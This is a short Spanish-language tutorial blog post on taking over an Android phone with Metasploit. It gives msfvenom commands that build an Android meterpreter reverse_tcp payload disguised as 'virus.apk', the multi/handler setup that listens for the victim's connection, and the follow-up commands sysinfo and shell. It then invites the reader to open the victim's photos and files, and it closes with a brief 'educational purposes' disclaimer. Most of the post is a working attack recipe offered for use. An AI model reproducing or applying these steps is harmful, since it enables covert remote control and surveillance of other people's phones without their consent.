Atacando android con msfvenom

Bueno en este articulo veremos como tener accesos a un celular con sistema operativo android.

Lo primero que debemos hacer es:

>>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4444 R>desktop/virus.apk

Bueno en la linea anterior con el comando -p lo que hicimos fue seleccionar un payload  el cual seleccionamos, un LHOST que seria la ip del atacante, y en LPORT establecimos el puerto de escucha ese se utilizara como puerto de escucha,  y con R> le asignamos la ruta en el cual se guardara el archivo, y algo muy importante es que la extensión debe ser APK ya que si no esta así no se podrá ejecutar en el móvil.

>>msfconsole

Hay abriríamos una consola de metasploit.

>>use multi/handler

Hay usamos una conexión reversa el cual estará en modo escucha.

>> set payload android/meterpreter/reverse_tcp

Hay seleccionamos el payload con el cual se trabajara la conexión.

>> set LHOST 192.168.x.x

Hay estamos configurando el host del atacante el cual seria la ip.

>>set LPORT 4444

Configuramos el puerto de escucha.

>>sysinfo

Lo usamos para conocer alguna información de sistema de nuestra victima.

>>shell

Luego estaré escribiendo algún articulo de comandos básicos dentro de un sistema ms-dos.

Bueno si logramos conseguir una shell se puede decir que ya estamos dentro del sistema y se podría empezar a jugar un poco con el como por ejemplo, podríamos crear documentos, abrir fotos, reproducir canciones, entre otras cosas.

Bueno espero que les sirva esta información.

y recuerden no hacer daños con ella, esta información seria con fines educativos, lo que realizan con ellas es con responsabilidad de ustedes.

.:: David Noreña ::.